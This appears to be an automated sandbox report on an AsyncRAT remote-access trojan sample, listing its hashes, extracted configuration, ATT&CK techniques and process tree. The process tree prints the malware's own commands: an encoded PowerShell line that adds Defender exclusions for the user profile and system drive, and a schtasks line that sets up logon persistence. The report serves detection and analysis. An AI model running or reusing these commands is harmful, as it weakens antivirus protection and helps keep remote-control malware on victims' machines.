asyncrat | a2bcd0666901803cb37a0247a2a46b9e71b10969805b9154bfd07a46bce369b9

General

Target

PEInstaller.exe
Size

54KB
MD5

e9dd08c82ee9543ed88a2df140be3162
SHA1

6950038c06707e4c6e4313bb59c30deae6f93ee4
SHA256

a2bcd0666901803cb37a0247a2a46b9e71b10969805b9154bfd07a46bce369b9
SHA512

078352b36ea8595f5ad293d7b04cd7d5b61bccfa11ddd83a10c6f41946815000398b7e2be1257b946eb75ceb9055c20a6975bbb577eb3d7a2407de4028bd8708
SSDEEP

1536:kpppNJkBOQEZcYx3dup+FFc2PlG1tMroSa5VghzsG:kzpkIQERMp+Tc2PlG12e

Score

10^/10

asyncrat default defense_evasion discovery rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

127.0.0.1:2009

Mutex

jc1XWfeoz50P

Attributes

delay
10
install
true
install_file
executor.exe
install_folder
%Temp%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x000a000000025d2f-4.dat	family_asyncrat

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4097046113-3950943903-3587629992-1000\Control Panel\International\Geo\Nation	PEInstaller.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4097046113-3950943903-3587629992-1000\Control Panel\International\Geo\Nation	PEInstaller.exe

Executes dropped EXE 2 IoCs

pid	Process
5492	PEInstaller.exe
2492	executor.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PEInstaller.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PEInstaller.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	executor.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1832	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3780	schtasks.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
3308	powershell.exe
2848	powershell.exe
3308	powershell.exe
2848	powershell.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe
5492	PEInstaller.exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

description	pid	Process
Token: SeDebugPrivilege	3308	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeIncreaseQuotaPrivilege	3308	powershell.exe
Token: SeSecurityPrivilege	3308	powershell.exe
Token: SeTakeOwnershipPrivilege	3308	powershell.exe
Token: SeLoadDriverPrivilege	3308	powershell.exe
Token: SeSystemProfilePrivilege	3308	powershell.exe
Token: SeSystemtimePrivilege	3308	powershell.exe
Token: SeProfSingleProcessPrivilege	3308	powershell.exe
Token: SeIncBasePriorityPrivilege	3308	powershell.exe
Token: SeCreatePagefilePrivilege	3308	powershell.exe
Token: SeBackupPrivilege	3308	powershell.exe
Token: SeRestorePrivilege	3308	powershell.exe
Token: SeShutdownPrivilege	3308	powershell.exe
Token: SeDebugPrivilege	3308	powershell.exe
Token: SeSystemEnvironmentPrivilege	3308	powershell.exe
Token: SeRemoteShutdownPrivilege	3308	powershell.exe
Token: SeUndockPrivilege	3308	powershell.exe
Token: SeManageVolumePrivilege	3308	powershell.exe
Token: 33	3308	powershell.exe
Token: 34	3308	powershell.exe
Token: 35	3308	powershell.exe
Token: 36	3308	powershell.exe
Token: SeDebugPrivilege	5492	PEInstaller.exe
Token: SeDebugPrivilege	2492	executor.exe
Token: SeDebugPrivilege	2492	executor.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1652 wrote to memory of 2848	1652	PEInstaller.exe	82
PID 1652 wrote to memory of 2848	1652	PEInstaller.exe	82
PID 1652 wrote to memory of 2848	1652	PEInstaller.exe	82
PID 1652 wrote to memory of 3308	1652	PEInstaller.exe	84
PID 1652 wrote to memory of 3308	1652	PEInstaller.exe	84
PID 1652 wrote to memory of 3308	1652	PEInstaller.exe	84
PID 1652 wrote to memory of 5492	1652	PEInstaller.exe	86
PID 1652 wrote to memory of 5492	1652	PEInstaller.exe	86
PID 1652 wrote to memory of 5492	1652	PEInstaller.exe	86
PID 5492 wrote to memory of 3460	5492	PEInstaller.exe	92
PID 5492 wrote to memory of 3460	5492	PEInstaller.exe	92
PID 5492 wrote to memory of 3460	5492	PEInstaller.exe	92
PID 5492 wrote to memory of 3880	5492	PEInstaller.exe	94
PID 5492 wrote to memory of 3880	5492	PEInstaller.exe	94
PID 5492 wrote to memory of 3880	5492	PEInstaller.exe	94
PID 3880 wrote to memory of 1832	3880	cmd.exe	96
PID 3880 wrote to memory of 1832	3880	cmd.exe	96
PID 3880 wrote to memory of 1832	3880	cmd.exe	96
PID 3460 wrote to memory of 3780	3460	cmd.exe	97
PID 3460 wrote to memory of 3780	3460	cmd.exe	97
PID 3460 wrote to memory of 3780	3460	cmd.exe	97
PID 3880 wrote to memory of 2492	3880	cmd.exe	99
PID 3880 wrote to memory of 2492	3880	cmd.exe	99
PID 3880 wrote to memory of 2492	3880	cmd.exe	99

C:\Users\Admin\AppData\Local\Temp\PEInstaller.exe
"C:\Users\Admin\AppData\Local\Temp\PEInstaller.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1652
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAcQBsACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAG0AZABkACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVABoAGUAcgBlACAAdwBhAHMAIABhAG4AIABlAHIAcgBvAHIAIABlAHgAZQBjAHUAdABpAG4AZwAgAHQAaABpAHMAIABwAHIAbwBnAHIAYQBtAC4AIABDAG8AbgB0AGEAYwB0ACAAdABoAGUAIABhAHUAdABoAG8AcgAgAGYAbwByACAAbQBvAHIAZQAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgAuACcALAAnACcALAAnAE8ASwAnACwAJwBFAHIAcgBvAHIAJwApADwAIwBrAHkAagAjAD4A"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2848
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAdQBkACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHkAeQByACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAbAB1ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAZgBqACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3308
- C:\Users\Admin\AppData\Roaming\PEInstaller.exe
  "C:\Users\Admin\AppData\Roaming\PEInstaller.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5492
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "executor" /tr '"C:\Users\Admin\AppData\Local\Temp\executor.exe"' & exit
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3460
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "executor" /tr '"C:\Users\Admin\AppData\Local\Temp\executor.exe"'
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3780
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpAC2E.tmp.bat""
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3880
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 3
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:1832
  - - C:\Users\Admin\AppData\Local\Temp\executor.exe
      "C:\Users\Admin\AppData\Local\Temp\executor.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2492

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
f9349064c7c8f8467cc12d78a462e5f9

SHA1
5e1d27fc64751cd8c0e9448ee47741da588b3484

SHA256
883481fe331cb89fb6061e76b43acd4dd638c16f499b10088b261036c6d0547b

SHA512
3229668491b5e4068e743b31f2896b30b1842faf96aff09fad01b08771c2f11eb8d8f02a3b76e31f0d6ad650c2894c5ac1822204e132c03d9c2b8df6ca4cd7cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
e47ee458b01ab35586168c0d5f92a333

SHA1
38f466a5bf62a936118989034a87f55d2a538a2e

SHA256
8807a2f60766cfda381c06541848f54d21ea60c1fab23102f5595abc70669ab8

SHA512
a48fee62335af3be16581adde914d308f987d5d0cd0580396d8c230274903277d84311c5b17fd682427aadbf2df2803b39e9c50fdfbb13e1f06d3607e7638dbb

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ptcqe2ww.np5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpAC2E.tmp.bat

Filesize
155B

MD5
15b2e025bd2e0c3bb7cdfc4151e91025

SHA1
89e2dfe263881f9482113416434686d45700d4bf

SHA256
e25071f150e1bd4f1f2141ab26171d94dd45661fa7cb717b76bb974b33b8c8a2

SHA512
0af0f8b39da3864ebc4838c9cbb468df7969af7c6eb80abf169295df3aeb666e5210780022b752e61b8ad4392b45d2d39fd3be9bbc7bae73c78e4b4489647c92

Download Submit
C:\Users\Admin\AppData\Roaming\PEInstaller.exe

Filesize
48KB

MD5
a96ef57452d73871dc1045b96fddcf96

SHA1
7a9b28306b0fc32d4281b756be5bc91f53234696

SHA256
2fd4684b115a4b607493596b7fba4d54ddc7d97aec1852fbd60d449f353c2902

SHA512
14db2977907baa98fe81f66fc0b44d360bee92d8b5e53527021fd9ef5f182e3aaa30e5e05ef95b0eac3d09b21074e89dee42c59d8a23b91a3dfa0c4871c3cd8e

Download Submit
memory/2848-17-0x00000000734A0000-0x0000000073C51000-memory.dmp

Filesize
7.7MB

Download
memory/2848-70-0x00000000734A0000-0x0000000073C51000-memory.dmp

Filesize
7.7MB

Download
memory/2848-20-0x00000000734A0000-0x0000000073C51000-memory.dmp

Filesize
7.7MB

Download
memory/2848-64-0x00000000077D0000-0x0000000007862000-memory.dmp

Filesize
584KB

Download
memory/2848-22-0x00000000734A0000-0x0000000073C51000-memory.dmp

Filesize
7.7MB

Download
memory/2848-63-0x0000000008600000-0x0000000008BA6000-memory.dmp

Filesize
5.6MB

Download
memory/2848-50-0x00000000079D0000-0x000000000804A000-memory.dmp

Filesize
6.5MB

Download
memory/2848-46-0x00000000063A0000-0x00000000063BE000-memory.dmp

Filesize
120KB

Download
memory/2848-51-0x0000000006910000-0x000000000692A000-memory.dmp

Filesize
104KB

Download
memory/2848-84-0x00000000734A0000-0x0000000073C51000-memory.dmp

Filesize
7.7MB

Download
memory/2848-45-0x0000000005F50000-0x00000000062A7000-memory.dmp

Filesize
3.3MB

Download
memory/3308-48-0x0000000007850000-0x0000000007882000-memory.dmp

Filesize
200KB

Download
memory/3308-65-0x0000000007C60000-0x0000000007C6A000-memory.dmp

Filesize
40KB

Download
memory/3308-35-0x0000000006240000-0x00000000062A6000-memory.dmp

Filesize
408KB

Download
memory/3308-40-0x00000000734A0000-0x0000000073C51000-memory.dmp

Filesize
7.7MB

Download
memory/3308-61-0x0000000007A90000-0x0000000007AAE000-memory.dmp

Filesize
120KB

Download
memory/3308-24-0x00000000059F0000-0x0000000005A56000-memory.dmp

Filesize
408KB

Download
memory/3308-49-0x0000000074BF0000-0x0000000074C3C000-memory.dmp

Filesize
304KB

Download
memory/3308-62-0x0000000007AB0000-0x0000000007B53000-memory.dmp

Filesize
652KB

Download
memory/3308-23-0x0000000005850000-0x0000000005872000-memory.dmp

Filesize
136KB

Download
memory/3308-47-0x00000000068B0000-0x00000000068FC000-memory.dmp

Filesize
304KB

Download
memory/3308-21-0x00000000734A0000-0x0000000073C51000-memory.dmp

Filesize
7.7MB

Download
memory/3308-66-0x0000000007E70000-0x0000000007F06000-memory.dmp

Filesize
600KB

Download
memory/3308-69-0x00000000734A0000-0x0000000073C51000-memory.dmp

Filesize
7.7MB

Download
memory/3308-19-0x0000000005AE0000-0x00000000061AA000-memory.dmp

Filesize
6.8MB

Download
memory/3308-16-0x0000000005270000-0x00000000052A6000-memory.dmp

Filesize
216KB

Download
memory/3308-18-0x00000000734A0000-0x0000000073C51000-memory.dmp

Filesize
7.7MB

Download
memory/5492-72-0x0000000005920000-0x00000000059BC000-memory.dmp

Filesize
624KB

Download
memory/5492-71-0x00000000734AE000-0x00000000734AF000-memory.dmp

Filesize
4KB

Download
memory/5492-15-0x0000000000C30000-0x0000000000C42000-memory.dmp

Filesize
72KB

Download
memory/5492-14-0x00000000734AE000-0x00000000734AF000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

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Downloads